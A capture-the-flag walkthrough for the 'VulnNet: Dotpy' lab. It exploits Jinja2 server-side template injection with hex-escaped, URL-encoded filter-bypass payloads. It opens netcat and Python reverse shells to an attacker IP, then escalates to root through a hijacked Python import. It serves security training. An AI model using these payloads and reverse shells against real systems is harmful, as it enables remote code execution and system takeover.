# VulnNet: Dotpy

## User Flag

Let's start with port enumeration enumeration:

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MdlG5dMqkiaRq3VEk6d%2F-MdlGwI36Abj_TkX5hoL%2Fimage.png?alt=media\&token=84049917-102d-41a7-a403-070dc8bf14af)

We see there's only one port open **(8080)**. Let's head to the website and see if we find something interesting.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MdlG5dMqkiaRq3VEk6d%2F-MdlH1LXljM_ul74v6wg%2Fimage.png?alt=media\&token=d12fa830-d7e0-43e7-b097-117088f421e6)

We see a login portal. What about if we create a test account and login with it?

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MdlG5dMqkiaRq3VEk6d%2F-MdlHKLYWa9pXA_9zEXg%2Fimage.png?alt=media\&token=9256d7d3-81e9-4622-acee-dd01cccc1c09)

We see there's some kind of panel. We tried using gobuster but didn't find anything useful nor interesting.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MdlG5dMqkiaRq3VEk6d%2F-MdlHNTyqgDRY-ToOjPo%2Fimage.png?alt=media\&token=7ce56280-d36a-4c70-a4c3-a5b56c9219fe)

After a while, we tried looking for an admin page and got a 404 error. If we look carefully we see there's a potential SSLI vulnerability.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MdlG5dMqkiaRq3VEk6d%2F-MdlJoXlRult7m9KOUGF%2Fimage.png?alt=media\&token=e9683dc6-f505-4ff6-b0bb-be25e76a6ae6)

How can we know if a SSTI vulnerability exists? Let's follow the diagram:

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MdlG5dMqkiaRq3VEk6d%2F-MdlL9qbuHJ8WHZW_swr%2Fimage.png?alt=media\&token=a80221ab-3a33-4f3a-8bd1-eb33051c2b98)

We try {{7\*7}} and see it's vulnerable.&#x20;

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MdlG5dMqkiaRq3VEk6d%2F-MdlKY25rosvfws0MJEs%2Fimage.png?alt=media\&token=0f001af3-1b03-4f0b-8fe8-1328da4d01b4)

Let's keep trying.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MdlG5dMqkiaRq3VEk6d%2F-MdlKxHCrPEX5qcasovO%2Fimage.png?alt=media\&token=e9bc839a-8c4f-42a3-ae00-dab5114a0ba5)

We got the conclusion it uses jinja2:&#x20;

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MdlG5dMqkiaRq3VEk6d%2F-MdlLmkDOaXmkj4k2_dC%2Fimage.png?alt=media\&token=5d5f213d-a02a-489f-9199-257e30e96005)

So now we have to exploit it. Let's use the following guides to try to get a rev shell.

{% embed url="<https://tryhackme.com/room/learnssti>" %}

{% embed url="<https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection>" %}

```
Crafting a proof of concept (Jinja2)

Python allows us to call the current class instance with .__class__, we can call this on an empty string:

Payload: http://MACHINE_IP:5000/profile/{{ ''.__class__ }}.

Classes in Python have an attribute called .__mro__ that allows us to climb up the inherited object tree:

Payload: http://MACHINE_IP:5000/profile/{{ ''.__class__.__mro__ }}.

Since we want the root object, we can access the second property (first index):

Payload: http://MACHINE_IP:5000/profile/{{ ''.__class__.__mro__[1] }}.

Objects in Python have a method called .__subclassess__ that allows us to climb down the object tree:

Payload: http://MACHINE_IP:5000/profile/{{ ''.__class__.__mro__[1].__subclasses__() }}.
```

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MdlG5dMqkiaRq3VEk6d%2F-MdlOcafaJYxXW_o9O-m%2Fimage.png?alt=media\&token=54d4411e-1349-48fc-a1f8-2ef5cda029f4)

Unlucky for us, we see our requests are getting blocked.

After trying out we see \_ , \[ ] and . are filtered

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MdlG5dMqkiaRq3VEk6d%2F-MdlOs72T_FdCOo8UP0K%2Fimage.png?alt=media\&token=91f1d1b5-2888-4c62-aac0-f08f7aa054b9)

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MdlG5dMqkiaRq3VEk6d%2F-MdlOlC4h2fX5Hcj2T-j%2Fimage.png?alt=media\&token=1f0790b6-a473-4784-89ac-f247a92c537d)

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MdlG5dMqkiaRq3VEk6d%2F-MdlP7QVtZ02vdeRayly%2Fimage.png?alt=media\&token=a59c28bc-3608-43a4-b5db-f22f6b3fcccf)

Checking the hacktricks guide we mentioned earlier we can try payload to bypass the filters;

```
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
```

We didn't get the command output but at least we didn't get blocked.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MdlG5dMqkiaRq3VEk6d%2F-MdlSQOyt-MTZFBGMUhX%2Fimage.png?alt=media\&token=d8573ed3-31e3-41b6-a646-414ad3127508)

If we url encode the payload we see it works:

```
%7B%7Brequest%7Cattr%28%27application%27%29%7Cattr%28%27%5Cx5f%5Cx5fglobals%5Cx5f%5Cx5f%27%29%7Cattr%28%27%5Cx5f%5Cx5fgetitem%5Cx5f%5Cx5f%27%29%28%27%5Cx5f%5Cx5fbuiltins%5Cx5f%5Cx5f%27%29%7Cattr%28%27%5Cx5f%5Cx5fgetitem%5Cx5f%5Cx5f%27%29%28%27%5Cx5f%5Cx5fimport%5Cx5f%5Cx5f%27%29%28%27os%27%29%7Cattr%28%27popen%27%29%28%27id%27%29%7Cattr%28%27read%27%29%28%29%7D%7D%0A
```

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MdlG5dMqkiaRq3VEk6d%2F-MdlT040teqXaQJ6r5_v%2Fimage.png?alt=media\&token=1b52042b-cf94-422b-b209-0529d9a22970)

We can now try to get a rev shell.

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc YOUR_IP PORT >/tmp/f
```

We have to convert it to hex first:

```
\x72\x6d\x20\x2f\x74\x6d\x70\x2f\x66\x3b\x6d\x6b\x66\x69\x66\x6f\x20\x2f\x74\x6d\x70\x2f\x66\x3b\x63\x61\x74\x20\x2f\x74\x6d\x70\x2f\x66\x7c\x73\x68\x20\x2d\x69\x20\x32\x3e\x26\x31\x7c\x6e\x63\x20\x31\x30\x2e\x31\x31\x2e\x33\x36\x2e\x31\x30\x33\x20\x39\x30\x30\x31\x20\x3e\x2f\x74\x6d\x70\x2f\x66
```

Then we URL encode everything

```
%7B%7Brequest%7Cattr%28%27application%27%29%7Cattr%28%27%5Cx5f%5Cx5fglobals%5Cx5f%5Cx5f%27%29%7Cattr%28%27%5Cx5f%5Cx5fgetitem%5Cx5f%5Cx5f%27%29%28%27%5Cx5f%5Cx5fbuiltins%5Cx5f%5Cx5f%27%29%7Cattr%28%27%5Cx5f%5Cx5fgetitem%5Cx5f%5Cx5f%27%29%28%27%5Cx5f%5Cx5fimport%5Cx5f%5Cx5f%27%29%28%27os%27%29%7Cattr%28%27popen%27%29%28%27%5Cx72%5Cx6d%5Cx20%5Cx2f%5Cx74%5Cx6d%5Cx70%5Cx2f%5Cx66%5Cx3b%5Cx6d%5Cx6b%5Cx66%5Cx69%5Cx66%5Cx6f%5Cx20%5Cx2f%5Cx74%5Cx6d%5Cx70%5Cx2f%5Cx66%5Cx3b%5Cx63%5Cx61%5Cx74%5Cx20%5Cx2f%5Cx74%5Cx6d%5Cx70%5Cx2f%5Cx66%5Cx7c%5Cx73%5Cx68%5Cx20%5Cx2d%5Cx69%5Cx20%5Cx32%5Cx3e%5Cx26%5Cx31%5Cx7c%5Cx6e%5Cx63%5Cx20%5Cx31%5Cx30%5Cx2e%5Cx31%5Cx31%5Cx2e%5Cx33%5Cx36%5Cx2e%5Cx31%5Cx30%5Cx33%5Cx20%5Cx39%5Cx30%5Cx30%5Cx31%5Cx20%5Cx3e%5Cx2f%5Cx74%5Cx6d%5Cx70%5Cx2f%5Cx66%0A%27%29%7Cattr%28%27read%27%29%28%29%7D%7D%0A
```

Now we have to start a nc listener and execute the payload

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MdlG5dMqkiaRq3VEk6d%2F-MdlWC0ZTIro5nTQhGTM%2Fimage.png?alt=media\&token=f0cf1f15-5194-4949-abae-d562c78c71cf)

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MdlG5dMqkiaRq3VEk6d%2F-MdlW8gJbtLM1uc20jVr%2Fimage.png?alt=media\&token=6f4c5ad9-d12d-46df-96ef-aff7287f76ae)

Let's upgrade the shell.

```
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
stty raw -echo; fg
```

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MdlG5dMqkiaRq3VEk6d%2F-MdlXV3Sq_TsxBr4gTut%2Fimage.png?alt=media\&token=0ede6a64-0464-4bf8-ba27-1ba8205ece55)

We can try to swtich accounts using the following:

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MdlG5dMqkiaRq3VEk6d%2F-MdlXfSEk8KXw0iJA9g3%2Fimage.png?alt=media\&token=6bf1dfd7-39c6-41f0-a8de-a022512dcd22)

Let's create a folder in /tmp/ and a file called setup.py inside that folder with the following content:

```
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("YOUR_IP",PORT))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("/bin/bash")
```

After that, let's start a nc listener and execute the following command:

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MdlG5dMqkiaRq3VEk6d%2F-Mdlc7qLXhZOKU3-mAAG%2Fimage.png?alt=media\&token=0657b7ca-9611-45fd-97b4-ba97c97b0761)

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MdlG5dMqkiaRq3VEk6d%2F-MdlcCxvK2b4btrHyzIO%2Fimage.png?alt=media\&token=6a8846fa-76f4-4e91-be08-195addf266f0)

Let's grab the flag.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MdlG5dMqkiaRq3VEk6d%2F-MdlcNhW1RcfUCjSTjXx%2Fimage.png?alt=media\&token=5d172830-60d4-4a79-9f79-847aee88a4bc)

## Root flag

Let's check our sudo privileges:

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MdlG5dMqkiaRq3VEk6d%2F-Mdlcg6DspA9U4eKRNwM%2Fimage.png?alt=media\&token=34beb901-e087-44ad-afad-dc2a7821095c)

We see that we can set an environment variable. We see backup.py imports "zipfile" so we can creat our own file, change the env and get our root shell. \\

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MdlG5dMqkiaRq3VEk6d%2F-MdleSm-qegNbJbq0FFr%2Fimage.png?alt=media\&token=cfc63e53-217b-4ff2-badf-9a158f4f2799)

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MdlG5dMqkiaRq3VEk6d%2F-MdlfPKlzo9DGe0TRZME%2Fimage.png?alt=media\&token=0a1f7be2-22ab-4fbd-ac4d-9b5c2444c4fa)
